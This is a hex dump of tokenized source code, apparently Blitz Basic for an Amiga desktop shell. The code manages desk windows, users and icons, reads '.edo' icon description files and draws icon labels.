|00003450| 20 3d 20 46 69 6e 64 44 | 65 73 6b 57 69 6e 64 6f | = FindD|eskWindo|
|00003460| 77 7b 70 6f 73 2d 31 7d | 00 20 20 20 20 20 20 20 |w{pos-1}|. |
|00003470| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00003480| 20 80 0b 20 52 65 6c 69 | 61 62 6c 65 5f 44 65 73 | .. Reli|able_Des|
|00003490| 6b 57 69 6e 64 6f 77 7b | 2a 70 61 73 74 7d 00 20 |kWindow{|*past}. |
|000034a0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|000034b0| 20 20 20 20 20 20 20 20 | 20 20 2a 70 61 73 74 5c | | *past\|
|000034c0| 4e 65 78 74 44 65 73 6b | 57 69 6e 64 6f 77 20 3d |NextDesk|Window =|
|000034d0| 20 2a 74 68 69 73 5c 4e | 65 78 74 44 65 73 6b 57 | *this\N|extDeskW|
|000034e0| 69 6e 64 6f 77 00 20 20 | 20 20 20 20 20 20 20 20 |indow. | |
|000034f0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00003500| 20 46 72 65 65 44 65 73 | 6b 57 69 6e 64 6f 77 7b | FreeDes|kWindow{|
|00003510| 2a 74 68 69 73 2e 44 65 | 73 6b 57 69 6e 64 6f 77 |*this.De|skWindow|
|00003520| 7d 00 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |}. | |
|00003530| 20 20 20 20 20 20 20 20 | 20 20 80 c0 00 20 20 20 | | ... |
|00003540| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00003550| 20 20 80 c0 00 20 20 20 | 20 20 20 20 20 20 20 20 | ... | |
|00003560| 20 20 20 20 20 20 20 80 | c0 00 00 20 20 20 20 20 | .|... |
|00003570| 20 20 20 20 20 20 20 20 | 20 20 80 c0 00 20 20 20 | | ... |
|00003580| 20 20 20 20 20 20 20 20 | 20 20 20 20 80 02 20 80 | | .. .|
|00003590| 08 00 00 00 20 20 80 08 | 20 20 20 52 65 6d 6f 76 |.... ..| Remov|
|000035a0| 65 55 73 65 72 7b 6e 75 | 6d 62 65 72 2e 6c 7d 00 |eUser{nu|mber.l}.|
|000035b0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 80 15 | | ..|
|000035c0| 20 2a 43 6f 72 65 2e 44 | 65 73 6b 74 6f 70 00 20 | *Core.D|esktop. |
|000035d0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 2a 70 61 | | *pa|
|000035e0| 73 74 2e 55 73 65 72 20 | 3d 20 46 69 6e 64 55 73 |st.User |= FindUs|
|000035f0| 65 72 7b 6e 75 6d 62 65 | 72 2d 31 7d 00 20 20 20 |er{numbe|r-1}. |
|00003600| 20 20 20 20 20 20 20 20 | 20 20 20 2a 69 74 65 6d | | *item|
|00003610| 2e 55 73 65 72 20 3d 20 | 46 69 6e 64 55 73 65 72 |.User = |FindUser|
|00003620| 7b 6e 75 6d 62 65 72 7d | 00 00 20 20 20 20 20 20 |{number}|.. |
|00003630| 20 20 20 20 20 20 20 20 | 80 0b 20 52 65 6c 69 61 | |.. Relia|
|00003640| 62 6c 65 5f 55 73 65 72 | 7b 2a 69 74 65 6d 7d 00 |ble_User|{*item}.|
|00003650| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00003660| 20 80 0b 20 52 65 6c 69 | 61 62 6c 65 5f 55 73 65 | .. Reli|able_Use|
|00003670| 72 7b 2a 70 61 73 74 7d | 00 20 20 20 20 20 20 20 |r{*past}|. |
|00003680| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 2a 70 61 | | *pa|
|00003690| 73 74 5c 4e 65 78 74 55 | 73 65 72 20 3d 20 2a 69 |st\NextU|ser = *i|
|000036a0| 74 65 6d 5c 4e 65 78 74 | 55 73 65 72 00 20 20 20 |tem\Next|User. |
|000036b0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 80 22 | | ."|
|000036c0| 00 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |. | |
|000036d0| 20 20 20 20 20 2a 43 6f | 72 65 5c 46 69 72 73 74 | *Co|re\First|
|000036e0| 55 73 65 72 20 3d 20 2a | 69 74 65 6d 5c 4e 65 78 |User = *|item\Nex|
|000036f0| 74 55 73 65 72 00 20 20 | 20 20 20 20 20 20 20 20 |tUser. | |
|00003700| 20 20 20 20 20 20 20 80 | c0 00 20 20 20 20 20 20 | .|.. |
|00003710| 20 20 20 20 20 20 20 20 | 20 20 20 a5 99 20 2a 69 | | .. *i|
|00003720| 74 65 6d 2c 80 2f 2e 55 | 73 65 72 2c 30 00 20 20 |tem,./.U|ser,0. |
|00003730| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 a6 | | .|
|00003740| 09 20 2a 69 74 65 6d 2c | 80 2f 2e 55 73 65 72 00 |. *item,|./.User.|
|00003750| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 80 c0 | | ..|
|00003760| 00 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 80 |. | .|
|00003770| 02 20 80 08 00 00 00 00 | 00 20 20 20 20 3b 3d 3d |. ......|. ;==|
|00003780| 3d 3d 3d 3d 3d 3d 3d 3d | 3d 3d 3d 3d 3d 3d 3d 3d |========|========|
|00003790| 3d 3d 3d 3d 3d 3d 3d 3d | 3d 3d 3d 3d 3d 3d 3d 3d |========|========|
|000037a0| 3d 3d 3d 3d 3d 3d 3d 3d | 3d 3d 3d 3d 3d 3d 3d 3d |========|========|
|000037b0| 3d 00 20 20 20 20 3b 00 | 20 20 20 20 3b 3d 3d 3d |=. ;.| ;===|
|000037c0| 3d 3d 3d 3d 3d 3d 3d 3d | 3d 3d 3d 3d 3d 3d 3d 3d |========|========|
|000037d0| 3d 3d 3d 3d 3d 3d 3d 3d | 3d 3d 3d 3d 3d 3d 3d 3d |========|========|
|000037e0| 3d 3d 3d 3d 3d 3d 3d 3d | 3d 3d 3d 3d 3d 3d 3d 3d |========|========|
|000037f0| 00 00 00 20 20 20 20 20 | 20 20 20 20 20 20 20 3b |... | ;|
|00003800| 3d 3e 54 68 69 73 20 66 | 75 6e 63 74 69 6f 6e 20 |=>This f|unction |
|00003810| 75 6e 2d 73 65 6c 65 63 | 74 73 20 61 6c 6c 20 69 |un-selec|ts all i|
|00003820| 63 6f 6e 73 00 20 20 20 | 20 20 20 20 20 20 20 20 |cons. | |
|00003830| 20 3b 20 20 69 6e 20 61 | 20 77 69 6e 64 6f 77 2e | ; in a| window.|
|00003840| 00 20 20 20 20 20 20 20 | 20 20 20 20 20 3b 00 20 |. | ;. |
|00003850| 20 20 20 80 08 20 52 65 | 73 65 74 49 63 6f 6e 73 | .. Re|setIcons|
|00003860| 7b 2a 74 68 69 73 2e 44 | 65 73 6b 57 69 6e 64 6f |{*this.D|eskWindo|
|00003870| 77 7d 00 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |w}. | |
|00003880| 20 80 0b 20 52 65 6c 69 | 61 62 6c 65 5f 44 65 73 | .. Reli|able_Des|
|00003890| 6b 57 69 6e 64 6f 77 7b | 2a 74 68 69 73 7d 00 20 |kWindow{|*this}. |
|000038a0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 80 | | .|
|000038b0| 0b 20 52 65 6c 69 61 62 | 6c 65 5f 44 65 73 6b 4f |. Reliab|le_DeskO|
|000038c0| 62 6a 65 63 74 7b 2a 74 | 68 69 73 5c 46 69 72 73 |bject{*t|his\Firs|
|000038d0| 74 44 65 73 6b 4f 62 6a | 65 63 74 7d 00 20 20 20 |tDeskObj|ect}. |
|000038e0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|000038f0| 20 2a 74 65 6d 70 2e 44 | 65 73 6b 4f 62 6a 65 63 | *temp.D|eskObjec|
|00003900| 74 20 3d 20 2a 74 68 69 | 73 5c 46 69 72 73 74 44 |t = *thi|s\FirstD|
|00003910| 65 73 6b 4f 62 6a 65 63 | 74 00 20 20 20 20 20 20 |eskObjec|t. |
|00003920| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 80 0c | | ..|
|00003930| 20 2a 74 65 6d 70 00 20 | 20 20 20 20 20 20 20 20 | *temp. | |
|00003940| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00003950| 20 2a 74 65 6d 70 5c 53 | 65 6c 65 63 74 65 64 3d | *temp\S|elected=|
|00003960| bc 0f 00 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |... | |
|00003970| 20 20 20 20 20 20 20 2a | 74 65 6d 70 3d 2a 74 65 | *|temp=*te|
|00003980| 6d 70 5c 4e 65 78 74 44 | 65 73 6b 4f 62 6a 65 63 |mp\NextD|eskObjec|
|00003990| 74 00 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |t. | |
|000039a0| 20 20 20 20 20 20 80 c1 | 00 20 20 20 20 20 20 20 | ..|. |
|000039b0| 20 20 20 20 20 20 20 20 | 20 20 80 c0 00 20 20 20 | | ... |
|000039c0| 20 20 20 20 20 20 20 20 | 20 20 20 80 c0 00 20 20 | | ... |
|000039d0| 20 20 20 20 20 20 20 20 | 20 20 20 20 80 02 20 80 | | .. .|
|000039e0| 08 00 00 00 20 20 20 20 | 80 09 2e 6c 20 52 65 61 |.... |...l Rea|
|000039f0| 64 45 64 6f 7b 4e 61 6d | 65 24 2c 50 61 74 68 24 |dEdo{Nam|e$,Path$|
|00003a00| 7d 00 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |}. | |
|00003a10| 20 6f 6c 64 2e 6c 20 3d | 20 80 d1 20 c5 01 00 20 | old.l =| .. ... |
|00003a20| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 74 65 | | te|
|00003a30| 6c 6c 65 72 2e 6c 20 3d | 20 30 20 20 20 20 20 20 |ller.l =| 0 |
|00003a40| 20 20 20 20 20 20 20 3b | 68 65 6c 70 74 65 78 74 | ;|helptext|
|00003a50| 20 63 6f 75 6e 74 65 72 | 21 00 20 20 20 20 20 20 | counter|!. |
|00003a60| 20 20 20 20 20 20 20 20 | 20 2a 45 64 6f 2e 44 65 | | *Edo.De|
|00003a70| 73 6b 4f 62 6a 65 63 74 | 20 3d 20 bc 0f 00 20 20 |skObject| = ... |
|00003a80| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 46 75 6c | | Ful|
|00003a90| 6c 4e 61 6d 65 24 3d b6 | a5 28 50 61 74 68 24 2c |lName$=.|.(Path$,|
|00003aa0| 4e 61 6d 65 24 29 00 20 | 20 20 20 20 20 20 20 20 |Name$). | |
|00003ab0| 20 20 20 20 20 20 80 32 | 20 74 62 75 66 66 24 3d | .2| tbuff$=|
|00003ac0| 31 30 35 34 00 00 20 20 | 20 20 20 20 20 20 20 20 |1054.. | |
|00003ad0| 20 20 20 20 20 80 0b 20 | be 15 28 46 75 6c 6c 4e | .. |..(FullN|
|00003ae0| 61 6d 65 24 29 00 20 20 | 20 20 20 20 20 20 20 20 |ame$). | |
|00003af0| 20 20 20 20 20 20 20 20 | 80 0b 20 be 11 28 30 2c | |.. ..(0,|
|00003b00| 46 75 6c 6c 4e 61 6d 65 | 24 29 00 20 20 20 20 20 |FullName|$). |
|00003b10| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00003b20| be 08 20 30 00 20 20 20 | 20 20 20 20 20 20 20 20 |.. 0. | |
|00003b30| 20 20 20 20 20 20 20 20 | 20 20 74 62 75 66 66 24 | | tbuff$|
|00003b40| 3d 53 70 61 63 65 53 6f | 72 74 7b dd 01 28 dc 86 |=SpaceSo|rt{..(..|
|00003b50| 28 31 30 29 2c 31 30 32 | 34 29 7d 00 20 20 20 20 |(10),102|4)}. |
|00003b60| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00003b70| 20 80 0b 20 dc 97 28 74 | 62 75 66 66 24 29 3d 22 | .. ..(t|buff$)="|
|00003b80| 24 65 64 6f 22 00 00 20 | 20 20 20 20 20 20 20 20 |$edo".. | |
|00003b90| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 3b 4f | | ;O|
|00003ba0| 4b 2c 20 69 74 73 20 61 | 6e 20 65 64 6f 2d 66 69 |K, its a|n edo-fi|
|00003bb0| 6c 65 00 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |le. | |
|00003bc0| 20 20 20 20 20 20 20 20 | 20 20 3b 00 20 20 20 20 | | ;. |
|00003bd0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00003be0| 20 20 20 2a 45 64 6f 2e | 44 65 73 6b 4f 62 6a 65 | *Edo.|DeskObje|
|00003bf0| 63 74 3d 43 72 65 61 74 | 65 44 65 73 6b 4f 62 6a |ct=Creat|eDeskObj|
|00003c00| 65 63 74 7b 7d 00 20 20 | 20 20 20 20 20 20 20 20 |ect{}. | |
|00003c10| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 80 0b 20 | | .. |
|00003c20| 52 65 6c 69 61 62 6c 65 | 5f 44 65 73 6b 4f 62 6a |Reliable|_DeskObj|
|00003c30| 65 63 74 7b 2a 45 64 6f | 7d 00 20 20 20 20 20 20 |ect{*Edo|}. |
|00003c40| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00003c50| 20 20 20 20 74 62 75 66 | 66 24 3d 53 70 61 63 65 | tbuf|f$=Space|
|00003c60| 53 6f 72 74 7b dd 01 28 | dc 86 28 31 30 29 2c 31 |Sort{..(|..(10),1|
|00003c70| 30 32 34 29 7d 00 20 20 | 20 20 20 20 20 20 20 20 |024)}. | |
|00003c80| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00003c90| 80 0e 20 dc 97 28 74 62 | 75 66 66 24 29 00 20 20 |.. ..(tb|uff$). |
|00003ca0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00003cb0| 20 20 20 20 20 20 20 20 | 80 0f 20 22 64 72 69 76 | |.. "driv|
|00003cc0| 65 22 20 20 3a 20 2a 45 | 64 6f 5c 4c 69 6e 6b 46 |e" : *E|do\LinkF|
|00003cd0| 6f 72 6d 3d 23 4c 69 6e | 6b 46 6f 72 6d 5f 44 72 |orm=#Lin|kForm_Dr|
|00003ce0| 69 76 65 00 20 20 20 20 | 20 20 20 20 20 20 20 20 |ive. | |
|00003cf0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 80 0f | | ..|
|00003d00| 20 22 66 69 6c 65 22 20 | 20 20 3a 20 2a 45 64 6f | "file" | : *Edo|
|00003d10| 5c 4c 69 6e 6b 46 6f 72 | 6d 3d 23 4c 69 6e 6b 46 |\LinkFor|m=#LinkF|
|00003d20| 6f 72 6d 5f 46 69 6c 65 | 00 20 20 20 20 20 20 20 |orm_File|. |
|00003d30| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00003d40| 20 20 20 80 0f 20 22 70 | 72 6f 67 72 61 6d 22 3a | .. "p|rogram":|
|00003d50| 20 2a 45 64 6f 5c 4c 69 | 6e 6b 46 6f 72 6d 3d 23 | *Edo\Li|nkForm=#|
|00003d60| 4c 69 6e 6b 46 6f 72 6d | 5f 50 72 6f 67 72 61 6d |LinkForm|_Program|
|00003d70| 00 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |. | |
|00003d80| 20 20 20 20 20 20 20 20 | 20 20 20 80 0f 20 22 66 | | .. "f|
|00003d90| 6f 6c 64 65 72 22 20 3a | 20 2a 45 64 6f 5c 4c 69 |older" :| *Edo\Li|
|00003da0| 6e 6b 46 6f 72 6d 3d 23 | 4c 69 6e 6b 46 6f 72 6d |nkForm=#|LinkForm|
|00003db0| 5f 46 6f 6c 64 65 72 00 | 20 20 20 20 20 20 20 20 |_Folder.| |
|00003dc0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00003dd0| 20 20 80 10 20 20 20 20 | 20 20 20 3a 20 2a 45 64 | .. | : *Ed|
|00003de0| 6f 5c 4c 69 6e 6b 46 6f | 72 6d 3d 2d 31 00 20 20 |o\LinkFo|rm=-1. |
|00003df0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00003e00| 20 20 20 20 20 20 20 20 | 80 02 20 80 0e 00 00 20 | |.. .... |
|00003e10| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00003e20| 20 20 20 20 20 20 20 20 | 20 3b 47 65 74 20 74 68 | | ;Get th|
|00003e30| 65 20 74 61 72 67 65 74 | 20 70 61 74 68 00 20 20 |e target| path. |
|00003e40| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00003e50| 20 20 20 20 20 20 20 20 | 3b 00 20 20 20 20 20 20 | |;. |
|00003e60| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00003e70| 20 20 20 20 74 62 75 66 | 66 24 3d 53 70 61 63 65 | tbuf|f$=Space|
|00003e80| 53 6f 72 74 7b dd 01 28 | dc 86 28 31 30 29 2c 31 |Sort{..(|..(10),1|
|00003e90| 30 32 34 29 7d 00 20 20 | 20 20 20 20 20 20 20 20 |024)}. | |
|00003ea0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00003eb0| da 01 24 20 26 2a 45 64 | 6f 5c 54 61 72 67 65 74 |..$ &*Ed|o\Target|
|00003ec0| 50 61 74 68 2c 74 62 75 | 66 66 24 00 00 00 00 20 |Path,tbu|ff$.... |
|00003ed0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00003ee0| 20 20 20 20 20 20 20 20 | 20 3b 52 65 61 64 20 69 | | ;Read i|
|00003ef0| 6e 20 74 68 65 20 49 63 | 6f 6e 00 20 20 20 20 20 |n the Ic|on. |
|00003f00| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00003f10| 20 20 20 20 20 3b 00 20 | 20 20 20 20 20 20 20 20 | ;. | |
|00003f20| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00003f30| 20 74 62 75 66 66 24 3d | 53 70 61 63 65 53 6f 72 | tbuff$=|SpaceSor|
|00003f40| 74 7b dd 01 28 dc 86 28 | 31 30 29 2c 31 30 32 34 |t{..(..(|10),1024|
|00003f50| 29 7d 00 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |)}. | |
|00003f60| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 2a 45 64 | | *Ed|
|00003f70| 6f 5c 49 63 6f 6e 20 3d | 20 46 69 6e 64 49 63 6f |o\Icon =| FindIco|
|00003f80| 6e 7b 74 62 75 66 66 24 | 7d 00 00 00 00 20 20 20 |n{tbuff$|}.... |
|00003f90| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00003fa0| 20 20 20 20 20 20 20 3b | 20 52 65 61 64 20 69 6e | ;| Read in|
|00003fb0| 20 74 68 65 20 68 65 6c | 70 74 65 78 74 2e 00 20 | the hel|ptext.. |
|00003fc0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00003fd0| 20 20 20 20 20 20 20 20 | 20 3b 00 20 20 20 20 20 | | ;. |
|00003fe0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00003ff0| 20 20 20 20 20 80 bb 00 | 20 20 20 20 20 20 20 20 | ...| |
|00004000| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00004010| 20 20 74 62 75 66 66 24 | 3d dd 01 28 dc 86 28 31 | tbuff$|=..(..(1|
|00004020| 30 29 2c 31 30 32 34 29 | 00 20 20 20 20 20 20 20 |0),1024)|. |
|00004030| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00004040| 20 20 20 da 01 24 20 26 | 2a 45 64 6f 5c 48 65 6c | ..$ &|*Edo\Hel|
|00004050| 70 54 65 78 74 2b 74 65 | 6c 6c 65 72 2c 74 62 75 |pText+te|ller,tbu|
|00004060| 66 66 24 2b dc 86 28 31 | 30 29 00 20 20 20 20 20 |ff$+..(1|0). |
|00004070| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00004080| 20 20 20 20 20 74 65 6c | 6c 65 72 2b dc 8f 28 74 | tel|ler+..(t|
|00004090| 62 75 66 66 24 29 2b 31 | 00 20 20 20 20 20 20 20 |buff$)+1|. |
|000040a0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|000040b0| 20 20 20 80 bc 20 dc 82 | 28 74 62 75 66 66 24 2c | .. ..|(tbuff$,|
|000040c0| 32 29 3d 22 7c 7c 22 00 | 00 00 20 20 20 20 20 20 |2)="||".|.. |
|000040d0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|000040e0| 20 20 20 20 3b 52 65 61 | 64 20 69 6e 20 74 68 65 | ;Rea|d in the|
|000040f0| 20 6f 77 6e 65 72 73 20 | 70 61 74 68 00 20 20 20 | owners |path. |
|00004100| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00004110| 20 20 20 20 20 20 20 3b | 00 20 20 20 20 20 20 20 | ;|. |
|00004120| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00004130| 20 20 20 74 62 75 66 66 | 24 3d 53 70 61 63 65 53 | tbuff|$=SpaceS|
|00004140| 6f 72 74 7b dd 01 28 dc | 86 28 31 30 29 2c 31 30 |ort{..(.|.(10),10|
|00004150| 32 34 29 7d 00 20 20 20 | 20 20 20 20 20 20 20 20 |24)}. | |
|00004160| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 da | | .|
|00004170| 01 24 20 26 2a 45 64 6f | 5c 4f 77 6e 65 72 50 61 |.$ &*Edo|\OwnerPa|
|00004180| 74 68 2c 74 62 75 66 66 | 24 00 00 00 00 00 20 20 |th,tbuff|$..... |
|00004190| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|000041a0| 20 20 20 20 20 20 20 20 | 3b 52 65 61 64 20 69 6e | |;Read in|
|000041b0| 20 74 68 65 20 58 20 26 | 20 59 20 70 6f 73 69 74 | the X &| Y posit|
|000041c0| 69 6f 6e 20 6f 66 20 74 | 68 65 20 4f 62 6a 65 63 |ion of t|he Objec|
|000041d0| 74 2e 00 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |t.. | |
|000041e0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 3b 00 20 | | ;. |
|000041f0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00004200| 20 20 20 20 20 20 20 20 | 20 74 62 75 66 66 24 3d | | tbuff$=|
|00004210| 53 70 61 63 65 53 6f 72 | 74 7b dd 01 28 dc 86 28 |SpaceSor|t{..(..(|
|00004220| 31 30 29 2c 31 30 32 34 | 29 7d 00 20 20 20 20 20 |10),1024|)}. |
|00004230| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00004240| 20 20 20 20 20 2a 45 64 | 6f 5c 58 70 6f 73 20 3d | *Ed|o\Xpos =|
|00004250| 20 bc 01 28 74 62 75 66 | 66 24 29 00 00 20 20 20 | ..(tbuf|f$).. |
|00004260| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00004270| 20 20 20 20 20 20 20 74 | 62 75 66 66 24 3d 53 70 | t|buff$=Sp|
|00004280| 61 63 65 53 6f 72 74 7b | dd 01 28 dc 86 28 31 30 |aceSort{|..(..(10|
|00004290| 29 2c 31 30 32 34 29 7d | 00 20 20 20 20 20 20 20 |),1024)}|. |
|000042a0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|000042b0| 20 20 20 2a 45 64 6f 5c | 59 70 6f 73 20 3d 20 bc | *Edo\|Ypos = .|
|000042c0| 01 28 74 62 75 66 66 24 | 29 00 00 00 20 20 20 20 |.(tbuff$|)... |
|000042d0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|000042e0| 20 20 20 20 20 20 3b 46 | 69 6e 61 6c 79 2c 20 72 | ;F|inaly, r|
|000042f0| 65 61 64 20 69 6e 20 74 | 68 65 20 69 63 6f 6e 20 |ead in t|he icon |
|00004300| 64 69 73 70 6c 61 79 2d | 74 65 78 74 00 20 20 20 |display-|text. |
|00004310| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00004320| 20 20 20 20 20 20 20 74 | 62 75 66 66 24 3d 53 70 | t|buff$=Sp|
|00004330| 61 63 65 53 6f 72 74 7b | dd 01 28 dc 86 28 31 30 |aceSort{|..(..(10|
|00004340| 29 2c 31 30 32 34 29 7d | 00 20 20 20 20 20 20 20 |),1024)}|. |
|00004350| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00004360| 20 20 20 da 01 24 20 26 | 2a 45 64 6f 5c 54 65 78 | ..$ &|*Edo\Tex|
|00004370| 74 2c 74 62 75 66 66 24 | 00 00 00 20 20 20 20 20 |t,tbuff$|... |
|00004380| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00004390| 20 20 20 80 c0 00 20 20 | 20 20 20 20 20 20 20 20 | ... | |
|000043a0| 20 20 20 20 20 20 20 20 | 20 20 20 20 be 02 20 30 | | .. 0|
|000043b0| 00 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |. | |
|000043c0| 20 20 20 20 20 20 20 80 | 0b 20 6f 6c 64 3e 2d 31 | .|. old>-1|
|000043d0| 20 80 21 20 80 2c 20 c5 | 01 20 6f 6c 64 3a c5 11 | .! ., .|. old:..|
|000043e0| 20 6f 6c 64 3a c5 12 20 | 6f 6c 64 00 20 20 20 20 | old:.. |old. |
|000043f0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00004400| 80 c0 00 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |... | |
|00004410| 20 20 20 20 20 80 c0 00 | 20 20 20 20 20 20 20 20 | ...| |
|00004420| 20 20 20 20 20 20 20 80 | c0 00 20 20 20 20 20 20 | .|.. |
|00004430| 20 20 20 20 20 20 20 20 | 20 80 09 20 80 07 20 2a | | .. .. *|
|00004440| 45 64 6f 00 20 20 20 20 | 20 20 20 20 20 20 20 20 |Edo. | |
|00004450| 20 20 20 80 02 20 80 09 | 00 00 20 20 20 20 3b 3d | .. ..|.. ;=|
|00004460| 3d 3d 3d 3d 3d 3d 3d 3d | 3d 3d 3d 3d 3d 3d 3d 3d |========|========|
|00004470| 3d 3d 3d 3d 3d 3d 3d 3d | 3d 3d 3d 3d 3d 3d 3d 3d |========|========|
|00004480| 3d 3d 3d 3d 3d 3d 3d 3d | 3d 3d 3d 3d 3d 3d 3d 3d |========|========|
|00004490| 3d 3d 00 20 20 20 20 3b | 20 4f 62 6a 65 63 74 20 |==. ;| Object |
|000044a0| 4f 75 74 70 75 74 00 20 | 20 20 20 3b 3d 3d 3d 3d |Output. | ;====|
|000044b0| 3d 3d 3d 3d 3d 3d 3d 3d | 3d 3d 3d 3d 3d 3d 3d 3d |========|========|
|000044c0| 3d 3d 3d 3d 3d 3d 3d 3d | 3d 3d 3d 3d 3d 3d 3d 3d |========|========|
|000044d0| 3d 3d 3d 3d 3d 3d 3d 3d | 3d 3d 3d 3d 3d 3d 3d 00 |========|=======.|
|000044e0| 00 00 20 20 20 20 80 08 | 20 44 72 61 77 4c 61 62 |.. ..| DrawLab|
|000044f0| 65 6c 7b 78 70 2e 6c 2c | 79 70 2e 6c 2c 74 78 74 |el{xp.l,|yp.l,txt|
|00004500| 24 2c 70 65 6e 61 2e 77 | 2c 70 65 6e 62 2e 77 7d |$,pena.w|,penb.w}|
|00004510| 00 20 20 20 20 20 20 20 | 20 20 20 20 20 80 0b 20 |. | .. |
|00004520| dc 8f 28 74 78 74 24 29 | 3e 30 00 20 20 20 20 20 |..(txt$)|>0. |
|00004530| 20 20 20 20 20 20 20 20 | 20 20 2a 57 61 6e 2e 57 | | *Wan.W|
|00004540| 69 6e 64 6f 77 20 3d 20 | da 02 2e 6c 28 80 b8 20 |indow = |...l(.. |
|00004550| c5 01 28 80 d1 20 c5 01 | 29 29 00 20 20 20 20 20 |..(.. ..|)). |
|00004560| 20 20 20 20 20 20 20 20 | 20 20 2a 52 61 73 74 2e | | *Rast.|
|00004570| 52 61 73 74 50 6f 72 74 | 20 3d 20 2a 57 61 6e 5c |RastPort| = *Wan\|
|00004580| 52 50 6f 72 74 00 20 20 | 20 20 20 20 20 20 20 20 |RPort. | |
|00004590| 20 20 20 20 20 80 33 2e | 54 65 78 74 45 78 74 65 | .3.|TextExte|
|000045a0| 6e 74 20 54 78 74 6c 2c | 2a 54 78 00 00 20 20 20 |nt Txtl,|*Tx.. |
|000045b0| 20 20 20 20 20 20 20 20 | 20 20 20 20 2a 54 78 20 | | *Tx |
|000045c0| 3d 20 26 54 78 74 6c 00 | 20 20 20 20 20 20 20 20 |= &Txtl.| |
|000045d0| 20 20 20 20 20 20 20 ff | 6f 20 2a 52 61 73 74 2c | .|o *Rast,|
|000045e0| 74 78 74 24 2c dc 8f 28 | 74 78 74 24 29 2c 2a 54 |txt$,..(|txt$),*T|
|000045f0| 78 00 00 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |x.. | |
|00004600| 20 20 62 6f 78 77 69 64 | 74 68 20 20 2e 6c 20 3d | boxwid|th .l =|
